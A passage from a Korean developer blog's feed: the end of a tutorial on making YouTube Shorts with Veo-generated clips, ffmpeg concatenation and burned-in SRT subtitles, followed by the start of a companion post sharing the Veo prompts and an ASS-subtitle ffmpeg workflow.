&lt;li&gt;&lt;strong&gt;클립 5&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;a waiter standing between hall and kitchen&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;&quot;보이면 프론트, 안 보이면 백엔드!&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;막히는 곳 1&lt;/strong&gt; — 대사를 넣으면 화면에 영어 자막이 박힐 때가 있습니다. 프롬프트 끝의 &lt;code class=&quot;language-text&quot;&gt;No subtitles, no captions&lt;/code&gt;를 꼭 유지하세요.
⚠️ &lt;strong&gt;막히는 곳 2&lt;/strong&gt; — 한국어 발음이 어색하면 그 클립만 대사 없이 다시 뽑고, 나레이션은 나중에 따로 넣으면 됩니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;✅ &lt;strong&gt;확인&lt;/strong&gt;: 8초짜리 영상 5개가 손에 있으면 성공.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;STEP 3. 클립 정리 ⏱ 2분&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;실습&lt;/strong&gt; — 작업 폴더에 클립을 &lt;strong&gt;재생 순서대로&lt;/strong&gt; 이름을 붙여 저장합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;my-short/
  1.mp4   2.mp4   3.mp4   4.mp4   5.mp4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;✅ &lt;strong&gt;확인&lt;/strong&gt;: 파일명이 숫자 순서면 됩니다. (이 순서대로 이어 붙습니다)&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;STEP 4. ffmpeg로 이어붙이기 ⏱ 3분&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;실습&lt;/strong&gt; — 작업 폴더에서 먼저 &lt;code class=&quot;language-text&quot;&gt;list.txt&lt;/code&gt;를 만듭니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;file &apos;1.mp4&apos;
file &apos;2.mp4&apos;
file &apos;3.mp4&apos;
file &apos;4.mp4&apos;
file &apos;5.mp4&apos;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;그리고 한 줄 실행:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;ffmpeg &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; concat &lt;span class=&quot;token parameter variable&quot;&gt;-safe&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; list.txt &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; copy joined.mp4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;✅ &lt;strong&gt;확인&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;joined.mp4&lt;/code&gt;가 생기고 재생하면 40초, 5개 장면이 이어집니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;막히는 곳&lt;/strong&gt; — &quot;codec not match&quot; 오류가 나면 클립 규격이 달라서입니다. &lt;code class=&quot;language-text&quot;&gt;-c copy&lt;/code&gt;를 빼고 아래로 다시 실행하세요(재인코딩):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;ffmpeg &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; concat &lt;span class=&quot;token parameter variable&quot;&gt;-safe&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; list.txt &lt;span class=&quot;token parameter variable&quot;&gt;-c:v&lt;/span&gt; libx264 &lt;span class=&quot;token parameter variable&quot;&gt;-c:a&lt;/span&gt; aac joined.mp4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;STEP 5. 한글 자막 입히기 ⏱ 8분&lt;/h2&gt;
&lt;p&gt;AI 영상은 화면에 &lt;strong&gt;정확한 한글을 못 그립니다.&lt;/strong&gt; 그래서 자막은 우리가 직접 얹습니다. 초보자는 &lt;strong&gt;SRT 자막&lt;/strong&gt;이 가장 쉽습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;실습&lt;/strong&gt; — &lt;code class=&quot;language-text&quot;&gt;captions.srt&lt;/code&gt; 파일을 만듭니다. 형식은 &lt;code class=&quot;language-text&quot;&gt;번호 / 시작 --&gt; 끝 / 텍스트&lt;/code&gt;입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;srt&quot;&gt;&lt;pre class=&quot;language-srt&quot;&gt;&lt;code class=&quot;language-srt&quot;&gt;1
00:00:00,000 --&amp;gt; 00:00:03,000
프론트? 백엔드?

2
00:00:08,000 --&amp;gt; 00:00:15,500
홀 = 프론트엔드

3
00:00:16,000 --&amp;gt; 00:00:23,500
주방 = 백엔드

4
00:00:24,000 --&amp;gt; 00:00:31,500
버튼 → 처리 → 응답

5
00:00:32,000 --&amp;gt; 00:00:39,000
보이면 프론트, 안 보이면 백엔드!&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이제 자막을 영상에 &lt;strong&gt;구워 넣습니다&lt;/strong&gt;(한 줄):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;ffmpeg &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; joined.mp4 &lt;span class=&quot;token parameter variable&quot;&gt;-vf&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;subtitles=captions.srt:force_style=&apos;FontName=Malgun Gothic,FontSize=18,Bold=1,PrimaryColour=&amp;amp;H00F0D000,Outline=2,Alignment=2,MarginV=60&apos;&quot;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-c:a&lt;/span&gt; copy short.mp4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;FontName&lt;/code&gt; — Windows는 &lt;code class=&quot;language-text&quot;&gt;Malgun Gothic&lt;/code&gt;, macOS는 &lt;code class=&quot;language-text&quot;&gt;AppleSDGothicNeo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;Alignment=2&lt;/code&gt; = 하단 가운데 / &lt;code class=&quot;language-text&quot;&gt;MarginV=60&lt;/code&gt; = 아래에서 띄우는 정도&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;PrimaryColour=&amp;amp;H00F0D000&lt;/code&gt; = 시안색 (ffmpeg 색은 &lt;code class=&quot;language-text&quot;&gt;&amp;amp;H00BBGGRR&lt;/code&gt; 순서)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;✅ &lt;strong&gt;확인&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;short.mp4&lt;/code&gt;를 재생하면 &lt;strong&gt;한글 자막이 박혀&lt;/strong&gt; 나옵니다. 완성!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;막히는 곳&lt;/strong&gt; — 자막이 안 보이면 폰트 이름을 확인하세요. 한글 폰트가 아니면 글자가 깨집니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;STEP 6. (선택) 인트로/아웃트로 붙이기 ⏱ +5분&lt;/h2&gt;
&lt;p&gt;브랜드 각인을 원하면 앞뒤에 3초 카드를 붙입니다. 이미지(&lt;code class=&quot;language-text&quot;&gt;intro.png&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;outro.png&lt;/code&gt;)를 만든 뒤:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 이미지를 3초 영상으로&lt;/span&gt;
ffmpeg &lt;span class=&quot;token parameter variable&quot;&gt;-loop&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-t&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; intro.png &lt;span class=&quot;token parameter variable&quot;&gt;-vf&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;scale&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;720&lt;/span&gt;:1280 &lt;span class=&quot;token parameter variable&quot;&gt;-pix_fmt&lt;/span&gt; yuv420p &lt;span class=&quot;token parameter variable&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;24&lt;/span&gt; intro.mp4
&lt;span class=&quot;token comment&quot;&gt;# short 앞에 붙이기(같은 규격 전제)&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;file &apos;intro.mp4&apos;&lt;span class=&quot;token entity&quot; title=&quot;\n&quot;&gt;\n&lt;/span&gt;file &apos;short.mp4&apos;&lt;span class=&quot;token entity&quot; title=&quot;\n&quot;&gt;\n&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; final_list.txt
ffmpeg &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; concat &lt;span class=&quot;token parameter variable&quot;&gt;-safe&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; final_list.txt &lt;span class=&quot;token parameter variable&quot;&gt;-c:v&lt;/span&gt; libx264 &lt;span class=&quot;token parameter variable&quot;&gt;-c:a&lt;/span&gt; aac final.mp4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 카드는 HTML을 캡처해 만들면 예쁩니다. 방법은 &lt;a href=&quot;/html-to-png-image-generation/&quot;&gt;HTML과 Playwright로 이미지 자동 생성&lt;/a&gt; 참고.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;STEP 7. 업로드 ⏱ 2분&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;실습&lt;/strong&gt; — 유튜브 앱/스튜디오에서 &lt;code class=&quot;language-text&quot;&gt;short.mp4&lt;/code&gt; 업로드 후:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;제목&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;프론트엔드 vs 백엔드, 식당이면 5초 컷 (개발 입문)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;해시태그&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;#개발상식 #프론트엔드 #백엔드 #IT #숏츠&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;커버&lt;/strong&gt;: Shorts 편집 → 커버에서 눈에 띄는 프레임 선택&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;✅ &lt;strong&gt;확인&lt;/strong&gt;: 업로드 완료 → 첫 숏츠 발행 🎉&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;💪 직접 해보기&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;다른 주제로 바꿔보기: &lt;strong&gt;&quot;API = 식당 웨이터&quot;&lt;/strong&gt;, &lt;strong&gt;&quot;데이터베이스 = 도서관 사서&quot;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;자막 색을 주제마다 다르게(키워드는 시안, 결론은 노랑)&lt;/li&gt;
&lt;li&gt;마지막 클립 자막을 &lt;strong&gt;&quot;그럼 API는?&quot;&lt;/strong&gt; 으로 바꿔 다음 편 예고 넣기&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;✅ 완성 체크리스트&lt;/h2&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 클립 5개(8초)를 Veo로 생성&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; &lt;code class=&quot;language-text&quot;&gt;joined.mp4&lt;/code&gt;로 이어붙이기 성공&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; &lt;code class=&quot;language-text&quot;&gt;captions.srt&lt;/code&gt; 작성 후 자막 번인&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; &lt;code class=&quot;language-text&quot;&gt;short.mp4&lt;/code&gt; 완성 · 유튜브 업로드&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; (선택) 인트로/아웃트로 카드 추가&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;마치며&lt;/h2&gt;
&lt;p&gt;여기까지 따라오셨다면 이미 &lt;strong&gt;개발 숏츠 한 편&lt;/strong&gt;을 만드신 겁니다. 반복 제작이 많아지면 매번 ffmpeg 명령을 치는 게 번거로운데, 그때는 &lt;strong&gt;전용 편집기&lt;/strong&gt;를 만들면 편합니다 — 그 과정은 &lt;a href=&quot;/ai-dev-shorts-veo-editor/&quot;&gt;제작기 글&lt;/a&gt;에 담아뒀습니다.&lt;/p&gt;
&lt;p&gt;블로그 글을 영상으로 바꾸는 다른 방법은 &lt;a href=&quot;/blog-to-youtube-with-notebooklm/&quot;&gt;블로그 글을 유튜브 영상으로 만드는 법&lt;/a&gt;도 참고하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. ffmpeg 명령이 너무 어렵습니다. 꼭 써야 하나요?&lt;/strong&gt;
아니요. CapCut 같은 앱으로도 이어붙이기·자막이 됩니다. 다만 ffmpeg는 &lt;strong&gt;명령 한 줄로 반복 자동화&lt;/strong&gt;가 가능해서, 여러 편을 만들 계획이면 익혀두면 큰 무기가 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. Veo가 없어요.&lt;/strong&gt;
Runway, Kling, Sora 등으로 대체할 수 있습니다. STEP 2의 프롬프트를 거의 그대로 쓰되, 한국어 대사 지원이 약한 툴은 대사를 빼고 STEP 5 자막으로 보완하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 자막 타이밍은 어떻게 맞추나요?&lt;/strong&gt;
클립이 8초씩이니 클립 N의 시작은 &lt;code class=&quot;language-text&quot;&gt;(N-1)×8초&lt;/code&gt;입니다. 클립 2는 8초, 클립 3은 16초… STEP 5의 SRT 시간이 이 규칙을 따릅니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 세로 영상이 아니라 가로로 나와요.&lt;/strong&gt;
Veo 프롬프트에 &lt;code class=&quot;language-text&quot;&gt;Vertical 9:16&lt;/code&gt;을 넣었는지 확인하세요. 이미 만든 가로 영상은 &lt;code class=&quot;language-text&quot;&gt;-vf &quot;scale=720:1280:force_original_aspect_ratio=increase,crop=720:1280&quot;&lt;/code&gt;으로 세로 크롭할 수 있습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[개발 유튜브 숏츠를 AI로 만드는 법 — Veo 프롬프트부터 나만의 편집기까지]]></title><description><![CDATA[개발 유튜브 숏츠를 AI로 만드는 법 커버 — Veo…]]></description><link>https://blog.javapark.kr/ai-dev-shorts-veo-editor/</link><guid isPermaLink="false">https://blog.javapark.kr/ai-dev-shorts-veo-editor/</guid><pubDate>Fri, 17 Jul 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/ai-dev-shorts-veo-editor.png&quot; alt=&quot;개발 유튜브 숏츠를 AI로 만드는 법 커버 — Veo 프롬프트와 나만의 편집기&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;개발 이야기를 짧은 영상으로 만들어 유튜브 숏츠에 올리고 싶었습니다. 그런데 문제가 하나 있었죠.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;촬영 장비도 없고, 영상 편집도 할 줄 모르는데 어떻게 만들지?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;얼굴 노출도, 촬영도, 편집 프로그램도 없이&lt;/strong&gt; 개발 숏츠를 만들 수 있었습니다. AI 영상 생성(Veo), 약간의 &lt;code class=&quot;language-text&quot;&gt;ffmpeg&lt;/code&gt;, 그리고 &lt;strong&gt;제가 직접 만든 로컬 편집기&lt;/strong&gt;로요.&lt;/p&gt;
&lt;p&gt;이 글에서는 &quot;API가 뭐예요?&quot;, &quot;프론트엔드 vs 백엔드&quot; 같은 &lt;strong&gt;입문 개발 숏츠&lt;/strong&gt;를 만든 전체 과정을 공유합니다. 특히 요청이 많았던 &lt;strong&gt;실제 프롬프트 원문&lt;/strong&gt;을 전부 공개합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;👉 &lt;strong&gt;직접 따라 만들고 싶다면?&lt;/strong&gt; 이 글은 &quot;왜·어떻게&quot;를 다루는 제작기입니다. 순서대로 손을 움직이는 실습은 &lt;a href=&quot;/ai-dev-shorts-hands-on/&quot;&gt;30분 만에 따라 만드는 개발 숏츠 실습편&lt;/a&gt;을 보세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;전체 워크플로우 — 4단계&lt;/h2&gt;
&lt;p&gt;먼저 큰 그림입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;대본 설계 → Veo로 영상 생성 → ffmpeg로 자막·인트로·아웃트로 합성 → 편집기에서 다듬고 렌더&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단계&lt;/th&gt;
&lt;th&gt;도구&lt;/th&gt;
&lt;th&gt;핵심&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1. 대본&lt;/td&gt;
&lt;td&gt;비유 하나&lt;/td&gt;
&lt;td&gt;&quot;식당으로 5초 컷&quot; 같은 훅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. 영상&lt;/td&gt;
&lt;td&gt;Veo 3&lt;/td&gt;
&lt;td&gt;프롬프트로 8초 클립 생성(음성 포함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. 합성&lt;/td&gt;
&lt;td&gt;ffmpeg + ASS 자막&lt;/td&gt;
&lt;td&gt;자막·인트로·아웃트로·BGM 자동 번인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4. 편집&lt;/td&gt;
&lt;td&gt;직접 만든 로컬 웹 편집기&lt;/td&gt;
&lt;td&gt;타임라인 드래그로 미세 조정 후 렌더&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;하나씩 뜯어보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1단계. 대본 — &quot;비유 하나로 끝내기&quot;&lt;/h2&gt;
&lt;p&gt;입문 숏츠의 핵심은 &lt;strong&gt;어려운 개념을 일상 사물에 빗대는 것&lt;/strong&gt;입니다. 설명하지 말고 보여주세요.&lt;/p&gt;
&lt;p&gt;제가 쓴 60초 공식은 이렇습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구간&lt;/th&gt;
&lt;th&gt;시간&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;훅&lt;/td&gt;
&lt;td&gt;0–3초&lt;/td&gt;
&lt;td&gt;스크롤 멈추게 (질문 or &quot;○○만 알면 끝&quot;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공감&lt;/td&gt;
&lt;td&gt;3–10초&lt;/td&gt;
&lt;td&gt;&quot;나도 궁금했어&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;비유&lt;/td&gt;
&lt;td&gt;10–35초&lt;/td&gt;
&lt;td&gt;핵심 1개를 일상 사물에 매핑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;정리&lt;/td&gt;
&lt;td&gt;35–48초&lt;/td&gt;
&lt;td&gt;한 줄 요약&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;다음 훅&lt;/td&gt;
&lt;td&gt;48–55초&lt;/td&gt;
&lt;td&gt;다음 편 유도 / 루프&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;예를 들어 &quot;프론트엔드 vs 백엔드&quot;는 이렇게 잡았습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;홀(손님이 보는 곳) = 프론트엔드&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;주방(안 보이는 곳) = 백엔드&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;마지막 자막: &lt;em&gt;&quot;보이면 프론트, 안 보이면 백엔드! 그럼 API는?&quot;&lt;/em&gt; → 다음 편(“API=웨이터”)으로 연결&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;가장 중요한 건 앞 3초입니다.&lt;/strong&gt; 로고 인트로로 시작하면 시청자는 바로 넘깁니다. 첫 프레임부터 질문을 던지세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;2단계. Veo 영상 프롬프트 (원문 공개)&lt;/h2&gt;
&lt;p&gt;Veo 3는 &lt;strong&gt;텍스트 → 영상&lt;/strong&gt;을 만들면서 &lt;strong&gt;나레이션·효과음까지 함께&lt;/strong&gt; 생성합니다. 여기서 배운 것들을 정리합니다.&lt;/p&gt;
&lt;h3&gt;프롬프트 구조&lt;/h3&gt;
&lt;p&gt;좋은 영상 프롬프트에는 아래 요소가 들어갑니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[피사체] + [동작] + [배경] + [카메라] + [스타일/조명] + [오디오] + [자막 금지]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;실제로 쓴 &lt;strong&gt;훅 샷&lt;/strong&gt; 프롬프트입니다(세로 9:16).&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Vertical 9:16, cinematic. A cozy modern restaurant at golden hour. Warm
ambient lighting, shallow depth of field, film grain. Camera slowly pushes
in toward an empty table set for one, building quiet anticipation.
Audio: gentle restaurant ambience, soft chatter, light jazz.
Narrator (warm, friendly Korean male voice, early 30s, calm and clear):
&quot;개발자들이 맨날 말하는 그거, API.&quot;
No subtitles, no captions, no on-screen text, no watermark. 8 seconds.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Veo 오디오, 함정 3가지&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;자막이 멋대로 박힘&lt;/strong&gt; — 대사를 넣으면 영어 캡션을 태워버립니다. 프롬프트 끝에 &lt;code class=&quot;language-text&quot;&gt;no subtitles, no captions, no on-screen text&lt;/code&gt;는 필수입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;클립마다 목소리가 달라짐&lt;/strong&gt; — 5개 클립을 따로 뽑으면 나레이터 톤이 튑니다. → 목소리 묘사(&lt;code class=&quot;language-text&quot;&gt;warm, friendly Korean male voice, early 30s...&lt;/code&gt;)를 &lt;strong&gt;모든 프롬프트에 글자 하나 안 바꾸고 복붙&lt;/strong&gt;하세요.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;한국어 발음이 가끔 어색함&lt;/strong&gt; — 튀는 클립만 무대사로 다시 뽑고, 나레이션은 후반 TTS로 교체하는 게 안전합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;캐릭터 일관성 = 이미지 레퍼런스&lt;/h3&gt;
&lt;p&gt;텍스트만으로 여러 클립을 뽑으면 &lt;strong&gt;등장인물이 매번 바뀝니다.&lt;/strong&gt; 이게 AI 영상의 최대 난제입니다. 해결책은 &lt;strong&gt;캐릭터 레퍼런스 이미지 1장을 먼저 확정&lt;/strong&gt;하고, 그 이미지를 Veo의 이미지 입력에 매 샷 물리는 것(image-to-video)입니다. 일관성의 90%가 여기서 결정됩니다.&lt;/p&gt;
&lt;p&gt;그리고 아래 &lt;strong&gt;블록 3개를 매 샷 프롬프트에 그대로 붙여&lt;/strong&gt; 재사용했습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[STYLE] Cinematic 3D animated film look, soft global illumination, shallow
depth of field, cozy warm lighting with teal/cyan neon accents, 8K, 9:16.

[VOICE] Narrator (warm, friendly Korean male voice, early 30s, calm and clear,
off-screen voiceover):&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;3단계. ffmpeg로 자막·인트로·아웃트로 합성&lt;/h2&gt;
&lt;p&gt;Veo가 뱉은 8초 클립 5개를 이어 붙이고, 자막과 인트로/아웃트로를 입혀야 합니다. 여기서 &lt;strong&gt;AI 영상 툴의 한계&lt;/strong&gt;가 하나 더 있습니다 — &lt;strong&gt;화면에 정확한 한글 자막·코드를 못 그립니다.&lt;/strong&gt; 그래서 자막은 AI가 아니라 &lt;strong&gt;후반에 직접 번인&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;p&gt;Windows에서 &lt;code class=&quot;language-text&quot;&gt;ffmpeg&lt;/code&gt;의 &lt;code class=&quot;language-text&quot;&gt;drawtext&lt;/code&gt;로 한글을 넣으려면 이스케이프 지옥이라, &lt;strong&gt;ASS 자막(libass)&lt;/strong&gt; 방식이 훨씬 깔끔합니다. 한글 폰트·페이드·색상·위치가 자유롭거든요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 클립 이어붙이기 + ASS 자막 번인 (개념)&lt;/span&gt;
ffmpeg &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;.mp4 &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;.mp4 &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;. &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-filter_complex&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;[0:v][0:a][1:v][1:a]...concat=n=5:v=1:a=1[cv][a];\
                   [cv]subtitles=captions.ass[vo]&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-map&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;[vo]&quot;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-map&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;[a]&quot;&lt;/span&gt; out/short.mp4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;인트로/아웃트로 카드는 HTML로&lt;/h3&gt;
